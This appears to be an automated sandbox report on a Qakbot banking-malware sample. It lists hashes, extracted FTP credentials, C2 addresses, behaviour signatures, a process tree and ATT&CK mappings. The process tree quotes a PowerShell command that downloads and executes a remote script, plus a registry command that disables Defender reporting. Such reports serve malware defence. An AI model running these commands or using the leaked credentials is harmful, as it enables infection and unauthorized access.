Analysis

  • max time kernel
    12s
  • max time network
    26s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    13-02-2022 22:36

General

  • Target

    058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe

  • Size

    400KB

  • MD5

    30f804952e82a4bf30c776402967850f

  • SHA1

    6db90c30220e594b31366a24a53fdb55308a4357

  • SHA256

    058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

  • SHA512

    987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.allens-treasure-house.com/books_files/001.ps1

Extracted

Family

qakbot

Version

322.148

Campaign

1518695014

Credentials

  • Protocol:
    ftp
  • Host:
    66.96.133.9
  • Port:
    21
  • Username:
    help
  • Password:
    eT5TerAcnFe6~

  • Protocol:
    ftp
  • Host:
    174.123.38.58
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4BQ1MeeRAwNZEVu

  • Protocol:
    ftp
  • Host:
    61.221.12.26
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    346HZGCMlwecz9S

  • Protocol:
    ftp
  • Host:
    67.222.137.18
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    p4a8k6fE1FtA3pR

  • Protocol:
    ftp
  • Host:
    107.6.152.61
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    RoP4Af0RKAAQ74V
C2

179.62.153.88:443

50.198.141.161:2222

69.129.91.38:443

66.189.228.49:995

96.253.104.73:443

71.183.129.113:443

125.25.130.203:995

173.175.174.154:443

162.104.186.175:995

75.109.222.140:995

68.173.55.51:443

78.175.254.43:443

106.159.251.143:995

47.143.83.172:443

71.190.202.120:443

73.136.232.174:995

96.253.104.73:995

192.158.217.32:22

65.153.16.250:993

70.95.129.59:443

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    1⤵
      PID:3268
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2872
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2416
      • C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe
        "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe"
        2⤵
        • Checks computer location settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2244
        • C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe
          "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe" /C
          3⤵
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          PID:3904
        • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2928
          • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe" /C
            4⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            PID:3772
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            4⤵
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:824
        • C:\Windows\system32\reg.exe
          C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
          3⤵
            PID:1568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.allens-treasure-house.com/books_files/001.ps1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\jyxynixbqdlzigozpybqeaxqoow.txt'"
            3⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2992
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:828
            • C:\Windows\SysWOW64\PING.EXE
              ping.exe -n 6 127.0.0.1
              4⤵
              • Runs ping.exe
              PID:4724
      • C:\Windows\system32\taskhostw.exe
        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2476
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2380
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2340
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:2812

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      3
      T1082

      Peripheral Device Discovery

      1
      T1120

      Remote System Discovery

      1
      T1018

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbv.dat
        MD5

        56e49376af78bd72413e65733e7dc965

        SHA1

        a14b8bc92f924ee21212b494265edccb998e0c59

        SHA256

        11c93ce74a900510ec6cf481f2f4713b310b5c4baa2a7b85c18df68f28729abb

        SHA512

        cf0f3ec557e446964ef099e9d051297c673ea9a0f3528cd7084ec84aef56d276a6892a9efa2af4dc97a503fec2dc5e17ae2c7c5b75309024f8ddc33f55cb765b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
        MD5

        30f804952e82a4bf30c776402967850f

        SHA1

        6db90c30220e594b31366a24a53fdb55308a4357

        SHA256

        058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

        SHA512

        987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

      • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
        MD5

        30f804952e82a4bf30c776402967850f

        SHA1

        6db90c30220e594b31366a24a53fdb55308a4357

        SHA256

        058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

        SHA512

        987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

      • C:\Users\Admin\AppData\Roaming\Microsoft\Wivbvii\wivbvi.exe
        MD5

        30f804952e82a4bf30c776402967850f

        SHA1

        6db90c30220e594b31366a24a53fdb55308a4357

        SHA256

        058299a1b3a0634c0a6486a7ae043ca0c0ff24148843d6b322354c86e82a0608

        SHA512

        987063f865d77919d8ec3bacdba9380a67a7c39c528a332dcd038cd5577a091928e569fdf4e00bdb876cb234ecaa2dd8bafb5aa97b4331b8564c1f69e90b6c92

      • memory/824-142-0x0000000000830000-0x0000000000898000-memory.dmp
        Filesize

        416KB

      • memory/824-153-0x0000000002B30000-0x0000000002B31000-memory.dmp
        Filesize

        4KB

      • memory/824-150-0x0000000002B90000-0x0000000002B91000-memory.dmp
        Filesize

        4KB

      • memory/824-156-0x0000000002B60000-0x0000000002B61000-memory.dmp
        Filesize

        4KB

      • memory/824-147-0x0000000002AD0000-0x0000000002AFF000-memory.dmp
        Filesize

        188KB

      • memory/824-143-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Filesize

        4KB

      • memory/824-144-0x0000000002B00000-0x0000000002B01000-memory.dmp
        Filesize

        4KB

      • memory/2340-148-0x00007FFD1F90D000-0x00007FFD1F90E000-memory.dmp
        Filesize

        4KB

      • memory/2340-149-0x00007FFD1F860000-0x00007FFD1F861000-memory.dmp
        Filesize

        4KB

      • memory/2340-145-0x0000000000DF0000-0x0000000000DF1000-memory.dmp
        Filesize

        4KB

      • memory/2340-146-0x0000000000D90000-0x0000000000DBC000-memory.dmp
        Filesize

        176KB

      • memory/2380-155-0x00007FFD1F860000-0x00007FFD1F861000-memory.dmp
        Filesize

        4KB

      • memory/2380-154-0x0000000000990000-0x00000000009BC000-memory.dmp
        Filesize

        176KB

      • memory/2416-151-0x0000000002860000-0x000000000288C000-memory.dmp
        Filesize

        176KB

      • memory/2416-152-0x00007FFD1F860000-0x00007FFD1F861000-memory.dmp
        Filesize

        4KB

      • memory/2476-157-0x0000000000DE0000-0x0000000000E0C000-memory.dmp
        Filesize

        176KB

      • memory/2476-158-0x00007FFD1F860000-0x00007FFD1F861000-memory.dmp
        Filesize

        4KB

      • memory/2812-130-0x000001C2F2730000-0x000001C2F2740000-memory.dmp
        Filesize

        64KB

      • memory/2812-132-0x000001C2F5480000-0x000001C2F5484000-memory.dmp
        Filesize

        16KB

      • memory/2812-131-0x000001C2F2790000-0x000001C2F27A0000-memory.dmp
        Filesize

        64KB

      • memory/2992-139-0x000001F879436000-0x000001F879438000-memory.dmp
        Filesize

        8KB

      • memory/2992-137-0x000001F879433000-0x000001F879435000-memory.dmp
        Filesize

        8KB

      • memory/2992-138-0x000001F879570000-0x000001F879592000-memory.dmp
        Filesize

        136KB

      • memory/2992-135-0x000001F878483000-0x000001F878485000-memory.dmp
        Filesize

        8KB

      • memory/2992-136-0x000001F879430000-0x000001F879432000-memory.dmp
        Filesize

        8KB